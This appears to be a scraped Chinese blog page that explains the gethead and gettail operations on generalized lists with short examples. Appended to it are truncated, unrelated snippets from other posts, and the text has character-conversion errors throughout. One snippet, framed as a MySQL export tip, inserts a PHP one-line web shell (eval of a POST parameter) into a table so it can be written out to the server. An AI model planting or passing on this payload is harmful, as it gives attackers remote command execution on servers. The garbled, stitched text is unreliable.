一句話掌握廣義表的head與tail的基本用法

2021-10-12 04:52:22 字數 420 閱讀 7273

gethead是取廣義表的第乙個元素,要去掉乙個"()",

而gettail是除掉第乙個元素剩下的元素組成的廣義表,也就是除掉第乙個元素,再把剩餘的元素"()"。

舉個例子:

gethead【((a,b),(c,d))】→(a,b)

gethead【gettail【((a,b),(c,d))】】→gethead【((c,d))】→(c,d)

gethead【gettail【gethead【((a,b),(c,d))】】】→gethead【gettail【(a,b)】】→gethead【(b)】→b

gettail【gethead【gettail【((a,b),(c,d))】】】→gettail【gethead【((c,d))】】→gettail【(c,d)】→(d)

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...